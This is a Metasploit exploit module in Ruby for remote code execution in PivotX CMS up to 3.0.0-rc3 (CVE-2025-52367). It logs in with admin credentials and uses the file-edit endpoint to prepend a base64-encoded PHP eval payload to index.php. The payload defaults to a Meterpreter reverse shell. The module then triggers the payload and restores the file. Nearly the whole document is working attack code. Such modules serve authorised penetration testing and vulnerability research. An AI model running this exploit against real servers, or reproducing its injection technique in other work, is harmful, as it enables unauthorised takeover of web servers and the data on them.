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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN',
'msutovsky-r7'
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
})
return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200
return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Exploit::CheckCode::Unknown, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Exploit::CheckCode::Appears, "Detected PivotX #{version}" if version <= Rex::Version.new('3.0.0-rc3')
return Exploit::CheckCode::Safe, "PivotX #{version} is not vulnerable"
end
def login
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
'data' => data_post,
'keep_cookies' => true
})
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end
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